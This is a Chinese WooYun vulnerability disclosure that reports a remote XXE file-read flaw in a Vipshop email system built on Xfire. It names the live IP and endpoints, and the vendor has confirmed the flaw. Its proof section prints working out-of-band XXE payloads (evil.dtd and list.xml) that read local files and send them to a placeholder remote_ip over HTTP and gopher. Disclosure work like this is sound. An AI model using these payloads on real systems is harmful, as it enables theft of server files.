当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0188574

漏洞标题：唯品会某系统存在远程XXE读取任意文件漏洞

相关厂商：唯品会

漏洞作者： 刺刺

提交时间：2016-03-24 16:06

修复时间：2016-05-08 17:52

公开时间：2016-05-08 17:52

漏洞类型：应用配置错误

危害等级：中

自评Rank：8

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-03-24： 细节已通知厂商并且等待厂商处理中
2016-03-24： 厂商已经确认，细节仅向厂商公开
2016-04-03： 细节向核心白帽子及相关领域专家公开
2016-04-13： 细节向普通白帽子公开
2016-04-23： 细节向实习白帽子公开
2016-05-08： 细节向公众公开

简要描述：

RT

详细说明：

参看陈老师的“Xfire文件读取漏洞”
WooYun: Xfire文件读取漏洞
系统连接：汉启的邮件系统
http://221.228.212.171:8081/smartedm/welcome.do
对应link
http://221.228.212.171:8081/smartedm/services

1.jpg


采用AWVS验证：
读文件：

1.jpg


列目录：

vip_list.jpg

漏洞证明：

evil.dtd内容：

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://remote_ip/?%file;'>"
>%all;


list.xml文件内容：

<!ENTITY % a SYSTEM "file:///">
<!ENTITY % b "<!ENTITY &#37; c SYSTEM 'gopher://remote_ip:port/?%a;'>">
%b;
%c;

修复方案：

1.联系厂商，参看陈老师的“Xfire文件读取漏洞”
WooYun: Xfire文件读取漏洞

版权声明：转载请注明来源 刺刺@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-03-24 17:52

厂商回复：

经确认，该问题真实存在，现已联系相关人员进行处理，感谢对我们业务的支持与贡献！

最新状态：

暂无

漏洞评价：

评价

  1. 2016-03-24 16:31 | _Thorns ( 普通白帽子 | Rank:1712 漏洞数:261 )

    陈老师发的0day吗。

  2. 2016-03-24 16:47 | 刺刺 ( 普通白帽子 | Rank:706 漏洞数:64 | 真正的安全并不是技术，而是人类善良的心灵...)

    @_Thorns 是的陈老师很坑啊，6WB要收回一点点啊。

  3. 2016-03-24 17:02 | _Thorns ( 普通白帽子 | Rank:1712 漏洞数:261 )

    @刺刺 你早说嘛，那么多POC。我全部发给你，你给我5WB就行。。。

  4. 2016-03-24 20:24 | LoveSnow ( 实习白帽子 | Rank:85 漏洞数:20 | 以正和，以奇胜！)

    @_Thorns @刺刺 陈老师，是冠希吗？他都来挖洞了？

  5. 2016-03-24 20:30 | LoveSnow ( 实习白帽子 | Rank:85 漏洞数:20 | 以正和，以奇胜！)

    @刺刺 @_Thorns 哦哦，是applechen,哈哈